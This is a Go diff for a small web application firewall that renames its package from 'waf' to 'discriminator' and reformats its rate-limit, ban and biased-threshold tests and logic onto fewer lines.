// The request over the limit of one a minute is refused, and bans the
|
||||||
// client for an hour, the default.
|
// client for an hour, the default.
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
|
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
|
||||||
line.BanExpires != expires {
|
line.BanExpires != expires {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
|
||||||
"log line has limit_hit %q, offence %q and ban_expires %q, "+
|
"want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
|
||||||
"want minute, limit and %s",
|
expires)
|
||||||
line.LimitHit,
|
|
||||||
line.Offence,
|
|
||||||
line.BanExpires,
|
|
||||||
expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Every request while the ban lasts is refused.
|
// Every request while the ban lasts is refused.
|
||||||
clk.advance(time.Hour - time.Second)
|
clk.advance(time.Hour - time.Second)
|
||||||
|
|
||||||
line = s.get(
|
line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
|
||||||
http.StatusForbidden,
|
t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
|
||||||
requestlog.ActionTemporarilyBanned,
|
"want %s and neither of the others", line.BanExpires, line.Offence,
|
||||||
)
|
line.LimitHit, expires)
|
||||||
if line.BanExpires != expires || line.Offence != "" ||
|
|
||||||
line.LimitHit != "" {
|
|
||||||
t.Errorf(
|
|
||||||
"log line has ban_expires %q, offence %q and limit_hit %q, "+
|
|
||||||
"want %s and neither of the others",
|
|
||||||
line.BanExpires,
|
|
||||||
line.Offence,
|
|
||||||
line.LimitHit,
|
|
||||||
expires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Once it ends, the client is let through.
|
// Once it ends, the client is let through.
|
||||||
@@ -101,11 +78,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
|||||||
breakLimit := func() string {
|
breakLimit := func() string {
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
|
|
||||||
return line.BanExpires
|
return line.BanExpires
|
||||||
}
|
}
|
||||||
@@ -146,11 +119,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
|
|||||||
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
|
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server := startWithClock(
|
s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{rateLimitPerDay: "2"},
|
|
||||||
)
|
|
||||||
|
|
||||||
// The third request in a day is over the limit of two, and bans the
|
// The third request in a day is over the limit of two, and bans the
|
||||||
// client for an hour.
|
// client for an hour.
|
||||||
@@ -159,11 +128,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
|
|||||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
for range 3 {
|
for range 3 {
|
||||||
s.get(
|
s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
client,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Later the same day the client has its whole allowance again: the
|
// Later the same day the client has its whole allowance again: the
|
||||||
@@ -176,10 +141,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
|
|||||||
|
|
||||||
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
||||||
if len(banned) != 2 || banned[0].Notes.Refused != 3 {
|
if len(banned) != 2 || banned[0].Notes.Refused != 3 {
|
||||||
t.Errorf(
|
t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
|
||||||
"bans %+v, want two, the first with 3 requests refused",
|
|
||||||
banned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -230,18 +192,10 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
|
|||||||
s, _, _ := startWithClock(t, "", env)
|
s, _, _ := startWithClock(t, "", env)
|
||||||
|
|
||||||
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
|
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(
|
s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
tc.breaker,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, sent := range tc.refused {
|
for _, sent := range tc.refused {
|
||||||
s.get(
|
s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
sent,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, sent := range tc.let {
|
for _, sent := range tc.let {
|
||||||
@@ -266,11 +220,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
|
|||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
otherClient,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
if line.Country != "" {
|
if line.Country != "" {
|
||||||
t.Errorf("log line has country %q, want none", line.Country)
|
t.Errorf("log line has country %q, want none", line.Country)
|
||||||
}
|
}
|
||||||
@@ -291,11 +241,7 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
|
|||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
otherClient,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, "active_ban",
|
wantHeuristic(t, line, "active_ban",
|
||||||
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
|
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
|
||||||
}
|
}
|
||||||
@@ -401,12 +347,8 @@ func TestBanNotes(t *testing.T) {
|
|||||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
|
|
||||||
got = ledger.Bans(netblock)
|
got = ledger.Bans(netblock)
|
||||||
if len(got) != 2 ||
|
if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
|
||||||
t.Errorf(
|
|
||||||
"bans %+v, want two, the second with one earlier ban for a limit",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -422,18 +364,10 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
|
|||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
s.get(otherClient, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(
|
s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
otherClient,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
|
|
||||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(
|
s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
otherClient,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// clock is the time a test sets, by which sww counts requests and
|
// clock is the time a test sets, by which sww counts requests and
|
||||||
@@ -459,14 +393,14 @@ func (c *clock) advance(d time.Duration) {
|
|||||||
c.now = c.now.Add(d)
|
c.now = c.now.Add(d)
|
||||||
}
|
}
|
||||||
|
|
||||||
// startWithClock starts waf, and rproxy in front of an app that answers 200,
|
// startWithClock starts discriminator, and rproxy in front of an app that answers 200,
|
||||||
// with the settings in env on top of trusting localhost's
|
// with the settings in env on top of trusting localhost's
|
||||||
// X-Forwarded-For, clients' AS numbers and countries looked up at
|
// X-Forwarded-For, clients' AS numbers and countries looked up at
|
||||||
// geojsURL, and a clock set to midnight, the start of a bucket in every
|
// geojsURL, and a clock set to midnight, the start of a bucket in every
|
||||||
// window.
|
// window.
|
||||||
func startWithClock(
|
func startWithClock(
|
||||||
t *testing.T, geojsURL string, env map[string]string,
|
t *testing.T, geojsURL string, env map[string]string,
|
||||||
) (*sender, *clock, *waf.Server) {
|
) (*sender, *clock, *discriminator.Server) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
||||||
@@ -474,33 +408,22 @@ func startWithClock(
|
|||||||
settings := map[string]string{trustedProxies: trustLocalhost}
|
settings := map[string]string{trustedProxies: trustLocalhost}
|
||||||
maps.Copy(settings, env)
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
addr, out, server := startProxyWithClock(
|
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
|
||||||
t,
|
|
||||||
app.URL,
|
|
||||||
geojsURL,
|
|
||||||
clk.Now,
|
|
||||||
settings,
|
|
||||||
)
|
|
||||||
|
|
||||||
return &sender{
|
return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
|
||||||
t: t,
|
|
||||||
addr: addr,
|
|
||||||
wafAddr: server.Addr,
|
|
||||||
out: out,
|
|
||||||
}, clk, server
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// sender sends requests to rproxy one after another, each on a connection of its
|
// sender sends requests to rproxy one after another, each on a connection of its
|
||||||
// own, and checks each one's answer and log line. wafAddr is where
|
// own, and checks each one's answer and log line. discriminatorAddr is where
|
||||||
// waf's own endpoints are, which ownEndpointRequest asks. Every request
|
// discriminator's own endpoints are, which ownEndpointRequest asks. Every request
|
||||||
// waf gets must come through the sender, since the log lines are
|
// discriminator gets must come through the sender, since the log lines are
|
||||||
// matched to them in order.
|
// matched to them in order.
|
||||||
type sender struct {
|
type sender struct {
|
||||||
t *testing.T
|
t *testing.T
|
||||||
addr string
|
addr string
|
||||||
wafAddr string
|
discriminatorAddr string
|
||||||
out *output
|
out *output
|
||||||
sent int
|
sent int
|
||||||
}
|
}
|
||||||
|
|
||||||
// get sends a GET request for / from the client at from.
|
// get sends a GET request for / from the client at from.
|
||||||
@@ -514,11 +437,7 @@ func (s *sender) get(from string, status int, action string) logLine {
|
|||||||
// X-Forwarded-For names it, and checks that its answer and its log line
|
// X-Forwarded-For names it, and checks that its answer and its log line
|
||||||
// have status, 0 for the connection closed without an answer, and that
|
// have status, 0 for the connection closed without an answer, and that
|
||||||
// the line has action. It returns the log line.
|
// the line has action. It returns the log line.
|
||||||
func (s *sender) request(
|
func (s *sender) request(from, path string, status int, action string) logLine {
|
||||||
from, path string,
|
|
||||||
status int,
|
|
||||||
action string,
|
|
||||||
) logLine {
|
|
||||||
s.t.Helper()
|
s.t.Helper()
|
||||||
|
|
||||||
return s.requestWithHeader(from, path, "", status, action)
|
return s.requestWithHeader(from, path, "", status, action)
|
||||||
@@ -531,15 +450,7 @@ func (s *sender) requestWithHeader(
|
|||||||
) logLine {
|
) logLine {
|
||||||
s.t.Helper()
|
s.t.Helper()
|
||||||
|
|
||||||
line, _ := s.requestWithBody(
|
line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
|
||||||
http.MethodGet,
|
|
||||||
from,
|
|
||||||
path,
|
|
||||||
header,
|
|
||||||
"",
|
|
||||||
status,
|
|
||||||
action,
|
|
||||||
)
|
|
||||||
|
|
||||||
return line
|
return line
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
@@ -22,10 +22,8 @@ type percentage struct {
|
|||||||
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
|
||||||
// then needed before its request goes on.
|
// then needed before its request goes on.
|
||||||
func biasedThresholdsSet(cfg *config.Config) bool {
|
func biasedThresholdsSet(cfg *config.Config) bool {
|
||||||
return len(cfg.ASNBytesPercent) > 0 ||
|
return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
|
||||||
len(cfg.CountryBytesPercent) > 0 ||
|
cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
|
||||||
cfg.UnknownLimitPercent < whole ||
|
|
||||||
cfg.ASNLimitPercentURL != ""
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// limitPercentages returns the client's limit percentages, for the rate
|
// limitPercentages returns the client's limit percentages, for the rate
|
||||||
@@ -50,10 +48,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
|
|
||||||
unknown := percentage{percent: whole}
|
unknown := percentage{percent: whole}
|
||||||
if country == "" && !rq.skippedLookupWait {
|
if country == "" && !rq.skippedLookupWait {
|
||||||
unknown = percentage{
|
unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
|
||||||
cfg.UnknownLimitPercent,
|
|
||||||
"SWW_UNKNOWN_LIMIT_PERCENT",
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fetched := percentage{percent: whole}
|
fetched := percentage{percent: whole}
|
||||||
@@ -63,41 +58,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
|
|
||||||
blocklisted := percentage{percent: whole}
|
blocklisted := percentage{percent: whole}
|
||||||
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
||||||
blocklisted = percentage{
|
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
|
||||||
cfg.BlocklistLimitPercent,
|
|
||||||
"SWW_BLOCKLIST_ACTION",
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
reputationListed := percentage{percent: whole}
|
reputationListed := percentage{percent: whole}
|
||||||
if (rq.dnsblListed || rq.abuseIPDBHit) &&
|
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
|
||||||
cfg.ReputationAction == "limit" {
|
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
|
||||||
reputationListed = percentage{
|
|
||||||
cfg.ReputationLimitPercent,
|
|
||||||
"SWW_REPUTATION_ACTION",
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
|
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
|
||||||
|
|
||||||
asnRequests := lowest(
|
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
|
||||||
given(cfg.TagLimitPercent, asnTag(asn), tagSetting),
|
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
|
||||||
fetched,
|
|
||||||
)
|
|
||||||
countryRequests := given(
|
|
||||||
cfg.TagLimitPercent,
|
|
||||||
countryTag(country),
|
|
||||||
tagSetting,
|
|
||||||
)
|
|
||||||
|
|
||||||
otherTags := percentage{percent: whole}
|
otherTags := percentage{percent: whole}
|
||||||
|
|
||||||
for _, tag := range rq.line.Tags {
|
for _, tag := range rq.line.Tags {
|
||||||
if tag != asnTag(asn) && tag != countryTag(country) {
|
if tag != asnTag(asn) && tag != countryTag(country) {
|
||||||
otherTags = lowest(
|
otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
|
||||||
otherTags,
|
|
||||||
given(cfg.TagLimitPercent, tag, tagSetting),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -107,18 +85,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||||
countryBytes = given(
|
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
|
||||||
cfg.CountryBytesPercent,
|
|
||||||
country,
|
|
||||||
"SWW_COUNTRY_BYTES_PERCENT",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The limits that lower requests and bytes alike.
|
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
|
||||||
common := lowest(otherTags, unknown, blocklisted, reputationListed)
|
reputationListed),
|
||||||
|
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
|
||||||
return lowest(asnRequests, countryRequests, common),
|
|
||||||
lowest(asnBytes, countryBytes, common)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// given returns the percentage percents, the setting named setting, gives
|
// given returns the percentage percents, the setting named setting, gives
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
@@ -15,9 +15,9 @@ import (
|
|||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// The biased thresholds.
|
// The biased thresholds.
|
||||||
@@ -86,11 +86,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
|
|||||||
|
|
||||||
// fromKP, which no setting lists, has the whole limit.
|
// fromKP, which no setting lists, has the whole limit.
|
||||||
for range 3 {
|
for range 3 {
|
||||||
line := s.get(
|
line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
|
||||||
fromKP,
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent",
|
||||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||||
none)
|
none)
|
||||||
@@ -122,11 +118,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
|||||||
// The upload's 100 bytes are over half of 199, 99.
|
// The upload's 100 bytes are over half of 199, 99.
|
||||||
line := s.uploadFrom(tc.from)
|
line := s.uploadFrom(tc.from)
|
||||||
if line.LimitHit != minuteBytes {
|
if line.LimitHit != minuteBytes {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
|
||||||
"log line has limit_hit %q, want %s",
|
|
||||||
line.LimitHit,
|
|
||||||
minuteBytes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantPercent(t, "bytes_limit_percent",
|
wantPercent(t, "bytes_limit_percent",
|
||||||
@@ -136,11 +128,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
|||||||
// fromKP, which no setting lists, has the whole limit.
|
// fromKP, which no setting lists, has the whole limit.
|
||||||
line = s.uploadFrom(fromKP)
|
line = s.uploadFrom(fromKP)
|
||||||
if line.LimitHit != "" {
|
if line.LimitHit != "" {
|
||||||
t.Errorf(
|
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
|
||||||
"log line for %s has limit_hit %q, want none",
|
|
||||||
fromKP,
|
|
||||||
line.LimitHit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantPercent(t, "bytes_limit_percent",
|
wantPercent(t, "bytes_limit_percent",
|
||||||
@@ -149,9 +137,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -192,11 +178,7 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
|||||||
// The upload's 100 bytes are over 99, half of 199, and within 199.
|
// The upload's 100 bytes are over 99, half of 199, and within 199.
|
||||||
line := s.uploadFrom(fromDE)
|
line := s.uploadFrom(fromDE)
|
||||||
if line.LimitHit != tc.limitHit {
|
if line.LimitHit != tc.limitHit {
|
||||||
t.Errorf(
|
t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
|
||||||
"log line has limit_hit %q, want %q",
|
|
||||||
line.LimitHit,
|
|
||||||
tc.limitHit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent",
|
||||||
@@ -212,26 +194,16 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
|
|||||||
func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
func TestZeroPercentIsAZeroAllowance(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithLookups(
|
s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
|
||||||
t,
|
|
||||||
map[string]string{unknownLimitPercent: "0"},
|
|
||||||
)
|
|
||||||
|
|
||||||
// The first request breaks the limit, and bans the client; the log line
|
// The first request breaks the limit, and bans the client; the log line
|
||||||
// gives the 0.
|
// gives the 0.
|
||||||
line := s.get(
|
line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
unplaced,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
if line.fields["rate_limit_percent"] != float64(0) ||
|
if line.fields["rate_limit_percent"] != float64(0) ||
|
||||||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
|
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
|
||||||
t.Errorf(
|
t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
|
||||||
"log line has rate_limit_percent %v from %v, want 0 from %s",
|
line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
|
||||||
line.fields["rate_limit_percent"],
|
unknownLimitPercent)
|
||||||
line.fields["rate_limit_percent_setting"],
|
|
||||||
unknownLimitPercent,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||||
@@ -284,11 +256,7 @@ func TestLowestPercentageApplies(t *testing.T) {
|
|||||||
// A quarter of 4 requests a minute: the second breaks the limit.
|
// A quarter of 4 requests a minute: the second breaks the limit.
|
||||||
s.get(tc.from, http.StatusOK, requestlog.ActionForward)
|
s.get(tc.from, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
line := s.get(
|
line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
tc.from,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent",
|
||||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||||
tc.want)
|
tc.want)
|
||||||
@@ -296,9 +264,7 @@ func TestLowestPercentageApplies(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithLookups(t, map[string]string{
|
s, _, _ := startWithLookups(t, map[string]string{
|
||||||
@@ -310,11 +276,7 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
|
|||||||
for _, from := range []string{unplaced, "10.0.0.8"} {
|
for _, from := range []string{unplaced, "10.0.0.8"} {
|
||||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(from, http.StatusOK, requestlog.ActionForward)
|
s.get(from, http.StatusOK, requestlog.ActionForward)
|
||||||
s.get(
|
s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
from,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// One in a country has the whole limit.
|
// One in a country has the whole limit.
|
||||||
@@ -329,7 +291,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
|||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||||
// says, with a GeoJS that never answers.
|
// says, with a GeoJS that never answers.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
|
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
|
||||||
map[string]string{unknownLimitPercent: "0"})
|
map[string]string{unknownLimitPercent: "0"})
|
||||||
|
|
||||||
// Once the time the request waits for its answer is up, the client
|
// Once the time the request waits for its answer is up, the client
|
||||||
@@ -338,12 +300,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
|
|||||||
serveFromDE(t, server, http.MethodGet, http.NoBody)
|
serveFromDE(t, server, http.MethodGet, http.NoBody)
|
||||||
|
|
||||||
line := out.requestLine(t)
|
line := out.requestLine(t)
|
||||||
wantLine(
|
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
t,
|
|
||||||
line,
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
wantPercent(t, "rate_limit_percent",
|
wantPercent(t, "rate_limit_percent",
|
||||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||||
"0 from "+unknownLimitPercent)
|
"0 from "+unknownLimitPercent)
|
||||||
